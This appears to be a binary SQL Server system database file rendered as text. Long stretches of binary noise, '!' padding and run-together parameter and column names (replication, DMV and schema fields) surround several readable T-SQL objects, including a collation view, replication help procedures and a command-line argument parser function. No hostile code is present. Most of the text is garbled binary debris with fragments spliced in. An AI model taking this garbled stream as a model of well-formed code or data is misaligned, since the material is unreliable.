Iwait_order0-xhhWis_next_candidate0-xMwait_time_ms0-x@@Kplan_handle0-x@@Isql_handle0-x88
Egroup_id0-x88
Cpool_id0-xhhEis_small0-xSideal_memory_kb0-!9C@job_id0-!9Q@offloadserver0-!9K@agent_type0-Aw88
g@subscriber_security_mode0-AwW@subscriber_login0-Aw]@subscriber_password0-Aw88
i@distributor_security_mode0-AwY@distributor_login0-Aw_@distributor_password0-Aw88
e@publisher_security_mode0-AwU@publisher_login0-Aw	[@publisher_password0-Aw
I@job_login0-AwO@job_password0-EKf88
A@objid0-EKfQ@schema_option0-EKf88
]@subtype_altercolumn0-EKf88
Y@subtype_addcolumn0-EKfhhM@debug_print0-0Q@remotesrvname0-0M@locallgname0-0O@remotelgname0-usM@source_dbms0-us
S@source_version0-usM@source_type0-usY@source_length_min0-usY@source_length_max0-us_@source_precision_min0-us_@source_precision_max0-us88
W@source_scale_min0-us	88
W@source_scale_max0-us
hhU@source_nullable0-usW@destination_dbms0-us
]@destination_version0-us
W@destination_type0-us[@destination_length0-usa@destination_precision0-us88
Y@destination_scale0-ushh_@destination_nullable0-us88
g@destination_createparams0-ushhG@dataloss0-ushhK@is_default0-E88
A@artid0-E00Q@publishertype0-EI@publisherSLDsz)&Bq$v/rc`F	-Z).
+ 50-C@dbname0-i@vardecimal_storage_format0-oYconstraint_catalog0-oWconstraint_schema0-oSconstraint_name0-oOtable_catalog0-oMtable_schema0-oItable_name0-oKcolumn_name0-o00Uordinal_position0-o	00CKeyType0-o
Iindex_name0-M@schema_name0-O@schema_owner0-`K@name_in_db-:H0-:I@publisher0-:O@publisher_db0-:M@publication0-:K@subscriber0-:Q@subscriber_db0-b@88
Isession_id0-b@88
amost_recent_session_id0-b@==Mconnect_time0-b@P4POnet_transport0-b@P4POprotocol_type0-b@88
Uprotocol_version0-b@88
Kendpoint_id0-b@P4PQencrypt_option0-b@	P4PKauth_scheme0-b@
44Onode_affinity0-b@88
Gnum_reads0-b@88
Inum_writes0-b@
==Glast_read0-b@==Ilast_write0-b@88
Snet_packet_size0-b@040Yclient_net_address0-b@88
Sclient_tcp_port0-b@040Wlocal_net_address0-b@88
Qlocal_tcp_port0-b@$$Oconnection_id0-b@$$]parent_connection_id0-b@@@amost_recent_sql_handle0-b@88
Kpdw_node_id0-v00K@login_type0-vA@login0-vG@password0-vC@server0-<hhY@check_replication0-<hhM@throw_error0-h-W@publication_name0-h-I@publisher0-h-O@publisher_db0-h-@Q@originator_id0-388
K@request_id0-3M@publication0-I@publisher0-O@publisher_db0-M@publication0-K@subscriber0-$$C@job_id0-qI@publisher0-qO@publisher_db0-qM@publication0-q]@alt_snapshot_folder0-qhhU@cleanup_orphans0-88
W@source_object_id0-M@ddl_command0-
E@ddl_lsn0-G@ddl_time0-
K@commit_lsn0-88
W@source_column_id0-hhW@fis_alter_column0-hhS@fis_drop_table0-M/$$A@pubid0-2$$A@pubid0-2$$A@artid0-2K@objectname0-2I@ownername0-2O@ins_procname0-2[@ins_batch_procname0-2O@upd_procname0-2[@upd_batch_procname0-2	O@sel_procname0-2
O@del_procname0-2a@sel_metadata_procname0-2W@view_selprocname0-2
Q@conflict_proc0-2hhg@generate_downlevel_procs0-2hhc@update_symergearticles!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
L
OL

i
 
		?	Nch8?Tq$gm d[bi SC
h:AH?^e`8-<^)""&<0-Wscheduler_address0-88
Qparent_node_id0-88
Mscheduler_id0-88
Acpu_id0-x4xAstatus0-hhGis_online0-hhCis_idle0-88
gpreemptive_switches_count0-	88
acontext_switches_count0-
88
[idle_switches_count0-88
[current_tasks_count0-88
]runnable_tasks_count0-
88
_current_workers_count0-88
]active_workers_count0-Uwork_queue_count0-88
_pending_disk_io_count0-88
Kload_factor0-88
Kyield_count0-[last_timer_activity0-hhcfailed_to_create_worker0-_active_worker_address0-_memory_object_address0-itask_memory_object_address0-Wquantum_length_us0-88
Kpdw_node_id0-hhS@tran_sub_table0-hhS@property_table0-hhS@sqlqueue_table0-hhm@subscription_articles_table0-hhI@p2p_table0-%Uc@snapshot_session_token0-I$$Qmirroring_guid0-IxxYstate_machine_name0-IxxKaction_type0-Ixx=name0-IxxOcurrent_state0-I88
Saction_sequence0-U-_event_session_address0-U-4Kcolumn_name0-U-88
Gcolumn_id0-U-4Mcolumn_value0-U-x4xKobject_type0-U-4Kobject_name0-U-$$[object_package_guid0-vC88
Gobject_id0-vC88
Gschema_id0-vCOTABLE_CATALOG0-vCMTABLE_SCHEMA0-vCITABLE_NAME0-vCYCONSTRAINT_CATALOG0-vCWCONSTRAINT_SCHEMA0-vCSCONSTRAINT_NAME0-vC	@@MCHECK_CLAUSE0-vC
KDESCRIPTION0-}4OTABLE_CATALOG0-}4MTABLE_SCHEMA0-}4ITABLE_NAME0-}4KCOLUMN_NAME0-}$$KCOLUMN_GUID0-}88
OCOLUMN_PROPID0-}88
UORDINAL_POSITION0-}hhWCOLUMN_HASDEFAULT0-}	@4@QCOLUMN_DEFAULT0-}
88
MCOLUMN_FLAGS0-}hhKIS_NULLABLE0-}44GDATA_TYPE0-}
$$GTYPE_GUID0-}88
eCHARACTER_MAXIMUM_LENGTH0-}88
aCHARACTER_OCTET_LENGTH0-}44WNUMERIC_PRECISION0-}44ONUMERIC_SCALE0-}88
YDATETIME_PRECISION0-}4_CHARACTER_SET_CATALOG0-}4]CHARACTER_SET_SCHEMA0-}4YCHARACTER_SET_NAME0-}4WCOLLATION_CATALOG0-}4UCOLLATION_SCHEMA0-}4QCOLLATION_NAME0-}4QDOMAIN_CATALOG0-}4ODOMAIN_SCHEMA0-}4KDOMAIN_NAME0-}@4@KDESCRIPTION-l
0-l$$A@artid--88
0--44O@publisher_id0--O@publisher_db0--M@publication0--88
S@publication_id0-9=@bm10-988
A@count0-3M@publication0-3E@article0-388
K@schematype!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!P_
ZE>Kbg;TQl%8

Y

\
,
Et'Xx
/
	o		~'_BM<)aU`[-)p!?0-=	I@publisher0-=	O@publisher_db0-=	M@publication0-=	88
Y@subscription_type0- 88
Isession_id0- 88
Kdocument_id0- 88
_namespace_document_id0- @@Isql_handle0- 88
astatement_start_offset0- 88
]statement_end_offset0- ==Ocreation_time0- moriginal_document_size_bytes0- 	original_namespace_document_size_bytes0- 
Wnum_openxml_calls0- [dormant_duration_ms0- Grow_count0-y-M@publication0-y-E@article0-y-I@publisher0-M@publication0-y@dynamic_snapshot_views_table_name0-hh_@create_dynamic_views0-M@max_bcp_gen!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!,T;2o`E`-?)M{0-Q@filegroupname0-JC@dbname0-J;;I@cmptlevel0-.$88
Q@cursor_return0-.$<Q@cursor_source0-.$U@cursor_identity0-2%88
GOBJECT_ID0-2%88
GSCHEMA_ID0-2%OTABLE_CATALOG0-2%MTABLE_SCHEMA0-2%ITABLE_NAME0-2%OINDEX_CATALOG0-2%MINDEX_SCHEMA0-2%IINDEX_NAME0-2%	hhKPRIMARY_KEY0-2%
hhAUNIQUE0-2%hhGCLUSTERED0-2%44=TYPE0-2%
88
KFILL_FACTOR0-2%88
MINITIAL_SIZE0-2%88
?NULLS0-2%hhQSORT_BOOKMARKS0-2%hhKAUTO_UPDATE0-2%88
QNULL_COLLATION0-2%88
UORDINAL_POSITION0-2%KCOLUMN_NAME0-2%$$KCOLUMN_GUID0-2%88
OCOLUMN_PROPID0-2%44GCOLLATION0-2%88
KCARDINALITY0-2%88
?PAGES0-2%@UFILTER_CONDITION0-2%hhIINTEGRATED0-2%88
ASTATUS0-3M@publication0-3I@publisher0-3O@publisher_db0-3Y@subscription_type0-[
88
A@objid0-[
I@publisher0-[
O@publisher_db0-[
M@publication0-[
G@trigname0-[
G@procname0-[
K@proc_owner0-[
E@cftproc0-[
	88
G@agent_id0-[

O@identity_col0-[
C@ts_col0-[
@Q@filter_clause0-[

[@primary_key_bitmap0-[
88
K@pubversion0-[
hhC@falter0-I@publisher0-O@publisher_db0-88
e@publisher_security_mode0-U@publisher_login0-[@publisher_password0-I@job_login0-O@job_password0-S@publisher_type0-/'88
G@nickname0-/'$$E@rowguid!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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sservice_account0-	4Efilename0-
4Mis_clustered0-4Ucluster_nodename0-46Qtransaction_id0-46@4@=name0-46==atransaction_begin_time0-4688
Utransaction_type0-46$$Stransaction_uow0-4688
Wtransaction_state0-4688
Ytransaction_status0-4688
[transaction_status20-46	88
Gdtc_state0-46
88
Idtc_status0-4688
[dtc_isolation_level0-46gfilestream_transaction_id0-?G@loginame0-?@name0-@M@plan_handle0-88
c@statement_start_offset0-9E@tabname0-9I@indexname0-900I@outputxml0-9K@xml_output0-900Q@verboseoutput0-9C@window-UA
0-UA
E@command0-G@loginame0-=@map0-fG@password0-W.?@dbms0-W.E@version0-W.?@type0-W.88
O@createparams0-L?I@publisher0-L?K@subscriber0-L?00?@type0-L?A@login0-L?G@password0-L?88
Y@commit_batch_size0-L?88
Y@status_batch_size0-L?88
U@flush_frequency0-L?	88
S@frequency_type0-L?
88
[@frequency_interval0-L?88
m@frequency_relative_interval0-L?88
m@frequency_recurrence_factor0-L?
88
W@frequency_subday0-L?88
i@frequency_subday_interval0-L?88
g@active_start_time_of_day0-L?88
c@active_end_time_of_day0-L?88
Y@active_start_date0-L?88
U@active_end_date0-L?88
Q@retryattempts0-L?88
K@retrydelay0-L?M@description0-L?88
Q@security_mode0-L?hh[@encrypted_password0-L?G@internal0-h?@name0-h88
A@hours0-h88
O@session_type0-W\88
G@agent_id0-W\I@tablename0-S@primary_server0-W@primary_database0-e@backup_source_directory0-o@backup_destination_directory0-Q@copy_job_name0-W@restore_job_name0-88
a@file_retention_period0-S@monitor_server0-	hho@monitor_server_security_mode0-
_@monitor_server_login0-e@monitor_server_password0-$$M@copy_job_id0-
$$S@restore_job_id0-$$O@secondary_id0-hhI@overwrite0-hh]@ignoreremotemonitor0-H$$A@pubid0-H$$A@artid0-H;@bm0-H88
W@NeedSchemaChangea
0
Qz

D
		9	>?Piv+F_?*P3`	j<qID\0I r8 
-- add it
create view sys.dm_pdw_os_performance_counters as
select
	pdw_node_id,
	counter_name	collate database_default counter_name,
	counter_category	collate database_default counter_category,
	instance_name	collate database_default instance_name,
	counter_value,
	last_update_time
from sys._dm_pdw_os_performance_counters
0
@ D8zh<07i .8
create view sys.spt_tablecollations_view
as
    select
    -- begin (for doing joins)
        object_id           = o.object_id,
        schema_id           = o.schema_id,
    -- end (for doing joins)
        colid               = c.column_id,
        name                = c.name,
        tds_collation_28    = convert(binary(5),
                                      case -- special-case XML and new DateTime types for downlevel clients
                                      when c.system_type_id in (241, 40, 41, 42, 43)  then
                                        CollationProperty(convert(sysname, databasepropertyex(db_name(), 'collation')),
                                                          'tdscollation')
                                      else
                                        CollationProperty(c.collation_name,
                                                          'tdscollation')
                                      end),
        tds_collation_90    = convert(binary(5),
                                      case -- special-case new DateTime types for downlevel clients
                                      when c.system_type_id in (40, 41, 42, 43)  then
                                        CollationProperty(convert(sysname, databasepropertyex(db_name(), 'collation')),
                                                          'tdscollation')
                                      else
                                        CollationProperty(c.collation_name,'tdscollation')
                                      end),
        tds_collation_100   = convert(binary(5),
                                      CollationProperty(c.collation_name,'tdscollation')),
        collation_28        = convert(sysname,
                                      case -- special-case XML and new DateTime types for downlevel clients
                                      when c.system_type_id in (241, 40, 41, 42, 43) then databasepropertyex(db_name(), 'collation')
                                      else c.collation_name
                                      end),
        collation_90        = convert(sysname,
                                      case -- special-case new DateTime types for downlevel clients
                                      when c.system_type_id in (40, 41, 42, 43)  then databasepropertyex(db_name(), 'collation')
                                      else c.collation_name
                                      end),
        collation_100        = convert(sysname, c.collation_name)
    from
        sys.all_columns c inner join
        sys.all_objects o on
            (
                c.object_id = o.object_id
            )
    where
        c.is_sparse = 0 OR objectproperty(o.object_id, 'tablehascolumnset') = 0
0l P8hh
>
CX
0@ 
8--
-- Name: sp_MShelpmergedynamicsnapshotjob
--
-- Description: This procedure returns a listing of dynamic snapshot jobs.
--                
-- Parameters: @publication sysname (optional, default '%'): When @publication
--               is '%', all dynamic snapshot jobs with the matching 
--               @dynamic_snapshot_jobid and @dynamic_snapshot_jobname will be 
--               returned.
--               @dynamic_snapshot_jobname sysname (optional, default '%'): When 
--               @dynamic_snapshot_jobname is '%', all dynamic snapshot jobs that
--               belong to @publication with the matching @dynamic_snapshot_jobid
--               will be returned.  
--               @dynamic_snapshot_jobid (optional, default null): When 
--               @dynamic_snapshot_jobid is null, all dynamic snapshot jobs 
--               that belong to @publication with the matching 
--               @dynamic_snapshot_jobname will be returned.
--
-- Notes: If all parameters are left unspecified when this procedure is called,
--          all dynamic snapshot jobs for the current database will be returned.
--
-- Result: id int
--           job_name sysname 
--           job_id uniqueidentifier -- job id of the dynamic snapshot job
--           dynamic_filter_login sysname 
--           dynamic_filter_hostname sysname
--           dynamic_snapshot_location nvarchar(255) 
-- Returns: 0 - succeeded
--            1 - failed
--
-- Security: Execute permission of this stored procedure is granted to public
-- Requires Certificate signature for catalog access
--
create procedure sys.sp_MShelpmergedynamicsnapshotjob (
    @publication sysname = N'%',
    @dynamic_snapshot_jobname sysname = N'%',
    @dynamic_snapshot_jobid uniqueidentifier = null
    )
as
begin
    set nocount on
    declare @retcode int

    exec @retcode = sys.sp_MSreplcheck_publish
    if @@error<>0 or @retcode<>0
        return 1
    
    if object_id('sysmergepublications') is NULL
    begin
        return 0
    end

    select 'id' = j.id,
           'job_name' = j.name,
           'job_id' = j.job_id, 
           'suser_sname' = j.dynamic_filter_login,
           'host_name' = j.dynamic_filter_hostname,
           'dynamic_snapshot_location' = j.dynamic_snapshot_location
      from dbo.sysmergepublications p
     inner join MSdynamicsnapshotjobs j
        on p.pubid = j.pubid
     where (p.name = @publication or @publication = N'%')
       and (j.name = @dynamic_snapshot_jobname or @dynamic_snapshot_jobname = N'%')
       and (j.job_id = @dynamic_snapshot_jobid or @dynamic_snapshot_jobid is null) 

    if @@error <> 0
        return (1)
    else
        return (0)

end
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!L
D
`	<)&0Wi 8create function sys.fn_getparametervalues(
    @command nvarchar(3200)
    ) returns @return table(id int identity(1,1), parameters varchar(3200), arguments varchar(3200))
begin
    declare @token varchar(3200)
    declare @parameter varchar(3200)
    declare @argument varchar(3200)
    declare @state int
    declare @prev_state int
    declare @prev_end_state int
    declare @i int
    declare @char nvarchar(1)
    declare @command_length int
    declare @state_start int
    declare @state_in_parameter int
    declare @state_reached_end_of_parameter int
    declare @state_in_dquote_argument int
    declare @state_seen_matching_dquote int
    declare @state_in_square_bracket_argument int
    declare @state_seen_matching_bracket int
    declare @state_reached_end_of_argument int
    declare @state_in_unquoted_argument int
    declare @state_exit int

    -- Initializations
    select @state_start = 0
    select @state_in_parameter = 1
    select @state_reached_end_of_parameter = 2
    select @state_in_dquote_argument = 3
    select @state_seen_matching_dquote = 4
    select @state_in_square_bracket_argument = 5
    select @state_seen_matching_bracket = 6
    select @state_reached_end_of_argument = 7
    select @state_in_unquoted_argument = 8
    select @state_exit = 9

    select @i = 1
    select @state = @state_start
    select @prev_state = @state_start
    select @prev_end_state = @state_start
    select @token = N''
    select @command_length = len(@command)  

    while @i <= @command_length
    begin
        select @char = substring(@command,@i,1)
        
        -- if we are at an end state then we should insert into the table
        if @state = @state_reached_end_of_parameter
        begin
            select @parameter = @token
            
            -- only insert with empty if our previous end state was also parameter
            if @prev_end_state = @state_reached_end_of_parameter
            begin
                insert into @return(parameters, arguments)values(@parameter, N'')
            end

            select @token = N''
            select @prev_end_state = @state
        end
        else if @state = @state_reached_end_of_argument
        begin
            select @argument = @token
            insert into @return(parameters, arguments)values(@parameter, @argument)
            
            select @token = N''
            select @prev_end_state = @state
        end
        
        select @prev_state = @state
        select @state = 
            case @state 
            when @state_start then
                case 
                when sys.fn_chariswhitespace(@char) = 1 then @state_start   
                when @char in (N'-',N'/') then @state_in_parameter
                else @state_exit
                end
            when @state_in_parameter then
                case 
                when sys.fn_chariswhitespace(@char) = 1 then @state_reached_end_of_parameter
                else @state_in_parameter
                end
            when @state_reached_end_of_parameter then
                case 
                when sys.fn_chariswhitespace(@char) = 1 then @state_reached_end_of_parameter
                when @char in (N'-',N'/') then @state_in_parameter
                when @char in (N'[') then @state_in_square_bracket_argument
                when @char in (N'"') then @state_in_dquote_argument
                else @state_in_unquoted_argument
                end
            when @state_in_dquote_argument then
                case 
                when @char in (N'"') then @state_seen_matching_dquote
                else @state_in_dquote_argument
                end
            when @state_seen_matching_dquote then
                case 
                when @char in (N'"') then @state_in_dquote_argument 
                when sys.fn_chariswhitespace(@char) = 1 then @state_reached_end_of_argument
                else @state_reached_end_of_argument
                end
            when @state_in_square_bracket_argument then
                case
                when @char in (N']') then @state_seen_matching_bracket
                else @state_in_square_bracket_argument  
                end
            when @state_seen_matching_bracket then
                case 
                when @char in (N']') then @state_in_square_bracket_argument
                when sys.fn_chariswhitespace(@char) = 1 then @state_reached_end_of_argument
                else @state_reached_end_of_argument
                end
            when @state_reached_end_of_argument then
                case 
                when sys.fn_chariswhitespace(@char) = 1 then @state_reached_end_of_argument
                when @char in (N'-',N'/') then @state_in_parameter
                else @state_exit
                end
            when @state_in_unquoted_argument then
                case
                when sys.fn_chariswhitespace(@char) = 1 then @state_reached_end_of_argument
                else @state_in_unquoted_argument
                end
            else @state         
            end
        
        -- tack on the current char to the token value depending on state
        if (@state in (@state_in_parameter,
                        @state_in_dquote_argument,
                        @state_in_square_bracket_argument,
                        @state_in_unquoted_argument)
            and @prev_state in (@state_in_parameter,
                        @state_in_dquote_argument,
                        @state_seen_matching_dquote,
                        @state_in_square_bracket_argument,
                        @state_seen_matching_bracket))
            or (@state = @state_in_unquoted_argument
                and @prev_state in (@state_reached_end_of_parameter,
                                    @state_in_unquoted_argument))
        begin            
            select @token = @token + @char
        end

        if @state = @state_exit
        begin
            goto done
        end
        select @i = @i + 1
    end -- while
done:

    -- finish up now
    if @state in (@state_reached_end_of_parameter,
                    @state_in_parameter)
    begin
        select @parameter = @token
        select @token = N''
            
        if @prev_end_state = @state_reached_end_of_parameter
        begin
            insert into @return(parameters, arguments)values(@parameter, N'')
        end

        select @prev_end_state = @state
    end
    else if @state in (@state_reached_end_of_argument,
                        @state_in_dquote_argument,
                        @state_seen_matching_dquote,
                        @state_in_square_bracket_argument,
                        @state_seen_matching_bracket,
                        @state_in_unquoted_argument)
    begin
        select @argument = @token
        select @token = N''
        select @prev_end_state = @state

        insert into @return(parameters, arguments)values(@parameter, @argument)
    end

    return 
end
0 P8zhY>ZS[!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!z`S	<mF(_0d+ "8
create procedure sys.sp_check_constbytable_rowset2
(
    @table_schema       sysname = null,
    @constraint_name    sysname = null,
    @constraint_schema  sysname = null
)
as
-------------------------------------------------------------------------------------------
-- copy & pasted from version 1 of the SProc and removed checks for 1st parameter !
-------------------------------------------------------------------------------------------
    select
        TABLE_CATALOG       = s_ccr.TABLE_CATALOG,
        TABLE_SCHEMA        = s_ccr.TABLE_SCHEMA,
        TABLE_NAME          = s_ccr.TABLE_NAME,
        CONSTRAINT_CATALOG  = s_ccr.CONSTRAINT_CATALOG,
        CONSTRAINT_SCHEMA   = s_ccr.CONSTRAINT_SCHEMA,
        CONSTRAINT_NAME     = s_ccr.CONSTRAINT_NAME,
        CHECK_CLAUSE        = s_ccr.CHECK_CLAUSE,
        DESCRIPTION         = s_ccr.DESCRIPTION

    from
        sys.spt_check_constbytable_rowset s_ccr
    where
        (@table_schema is null or schema_id(@table_schema) = s_ccr.schema_id or schema_id('sys') = s_ccr.schema_id) and
        (@constraint_name is null or s_ccr.CONSTRAINT_NAME = @constraint_name) and
        (@constraint_schema is null or @constraint_schema = schema_name(s_ccr.schema_id))
    order by 1,2,3,4,5,6
0:K 8create procedure sys.sp_helptracertokenhistory
(
	@publication	sysname,
	@tracer_id		int,
	@publisher		sysname = NULL,	
	@publisher_db	sysname = NULL
)
as
begin
	declare @retcode 			int,
			@distproc 			nvarchar(1000),
			@distributor 		sysname, 
			@distribution_db 	sysname
	--
	-- Calling convention is different if we are already at the distdb
	--
	if sys.fn_MSrepl_isdistdb (db_name()) = 1
	begin
		-- security check for distributor is performed in the helper proc.
		
		-- if we are at the distributor then publisher and
		-- publisher db are required parameters for this proc
		if isnull(@publisher, N'') = N''
		begin
			-- Parameter '%s' cannot be NULL or empty string when this procedure is run from a distribution database.
			raiserror(20686, 16, -1, '@publisher', 'distribution')
			return 1
		end
		else if isnull(@publisher_db, N'') = N''
		begin
			-- Parameter '%s' cannot be NULL or empty string when this procedure is run from a distribution database.
			raiserror(20686, 16, -1, '@publisher_db', 'distribution')
			return 1
		end

		exec @retcode = sys.sp_MShelptracertokenhistory	@publication 	= @publication,
														@tracer_id		= @tracer_id,
														@publisher		= @publisher,	
														@publisher_db	= @publisher_db

		return @retcode
	end

	--
	-- Everything below this line is expected to run on the Publisher
	--
	
    -- Publisher Security Check.
    exec @retcode = sys.sp_MSreplcheck_publish
    if @@error <> 0 or @retcode <> 0
        return 1

    -- check this db is published
	if sys.fn_MSrepl_istranpublished(db_name(),1) <> 1
    begin
		-- "The database is not published."
		raiserror (18757, 16, -1)
		return 1
	end
	
	-- do not allow users to specify pub/pubdb unless at disdb
	if @publisher is not NULL
	begin
		-- Parameter ''%s'' must be NULL when this procedure is not being run from a distribution database.
		raiserror(20687, 16, -1, '@publisher', 'distribution')
		return 1
	end
	else if @publisher_db is not NULL
	begin
		-- Parameter ''%s'' must be NULL when this procedure is not being run from a distribution database.
		raiserror(20687, 16, -1, '@publisher_db', 'distribution')
		return 1
	end

	select @publisher = publishingservername(),
			@publisher_db = db_name()

	exec @retcode = sys.sp_helpdistributor @rpcsrvname = @distributor OUTPUT, 
											@distribdb = @distribution_db OUTPUT,
											@publisher = @publisher
	if @@error <> 0 or @retcode <> 0 or @distributor is NULL or @distribution_db is NULL
	begin
		-- "The Distributor has not been installed correctly."
		raiserror(20036, 16, -1)
		return 1
	end

	select @distproc = QUOTENAME(RTRIM(@distributor)) + '.' + QUOTENAME(RTRIM(@distribution_db)) + '.sys.sp_MShelptracertokenhistory'	
	exec @retcode = @distproc @publication 		= @publication,
								@tracer_id		= @tracer_id,
								@publisher		= @publisher,	
								@publisher_db	= @publisher_db
	if @@error <> 0 or @retcode <> 0 
	begin
		return 1
	end

	return 0
end
